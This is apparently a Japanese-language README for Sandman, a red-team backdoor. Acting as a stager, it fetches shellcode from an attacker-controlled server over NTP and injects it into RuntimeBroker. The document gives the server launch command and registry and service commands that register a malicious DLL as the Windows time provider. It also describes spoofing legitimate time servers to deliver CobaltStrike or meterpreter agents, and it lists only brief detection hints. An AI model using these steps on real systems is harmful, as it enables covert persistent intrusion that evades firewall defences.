
Sandmanは、レッドチームのエンゲージメント中に厳格化されたネットワークで動作するように設計されたバックドアです。
Sandmanはステージャーとして動作し、NTP(時刻と日付を同期するプロトコル)を利用して、事前定義されたサーバーから任意のシェルコードを取得・実行します。
NTPは多くの防御者に見落とされがちなプロトコルであり、その結果、広範なネットワークアクセスが可能となります。

Windows / *nix マシンで実行:
python3 sandman_server.py "Network Adapter" "Payload Url" "optional: ip to spoof"
ネットワークアダプタ: サーバーがリッスンするアダプタ(例: Windowsの場合はEthernet、*nixの場合はeth0)。
ペイロードURL: シェルコードのURL。エージェント(例: CobaltStrikeやmeterpreter)または別のステージャーです。
なりすますIP: 正当なIPアドレス(例: time.microsoft.comのIPアドレス)になりすます場合に指定します。
開始するには、後述のようにSandmanBackdoorをコンパイルします。これは単一の軽量なC#実行可能ファイルであり、ExecuteAssemblyを介して実行したり、NTPプロバイダーとして実行したり、単に実行/インジェクトしたりできます。
使用するには、以下の簡単な手順に従います:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\Path\To\TheDll.dll"
sc stop w32time
sc start w32time
注意: x64オプションでコンパイルし、Any CPUオプションを使用しないでください!
攻撃者が制御するサーバーから任意のペイロードを取得して実行。
NTPは通常ファイアウォールで許可されるため、厳格化されたネットワークでも動作可能。
IPスプーフィングによる正当なNTPサーバーのなりすまし。
Python 3.9
依存関係はrequirementsファイルに指定されています。
バックドアのコンパイルにはVisual Studio 2022を使用しましたが、使用方法で述べたように、VS2022とCSCの両方でコンパイルできます。
USE_SHELLCODEを使用してOrcaのシェルコードを使うか、USE_SHELLCODEなしでWebClientを使用するかのいずれかでコンパイルできます。
バックドアのコンパイルにはVisual Studio 2022を使用しました。コンパイルするには、DllExport(Nuget経由など)もインストールする必要があります。
USE_SHELLCODEを使用してOrcaのシェルコードを使うか、USE_SHELLCODEなしでWebClientを使用するかのいずれかでコンパイルできます。
RuntimeBrokerにシェルコードが注入されます。
既知のマジックヘッダーで始まる不審なNTP通信。
YARAルール。
Orca - シェルコードの提供。
Tim McGuffin氏にタイムプロバイダのアイデアについて特別に感謝します。
既に貢献してくださった方々に感謝します。これからも貢献を歓迎します。プルリクエストを作成してください。レビューします!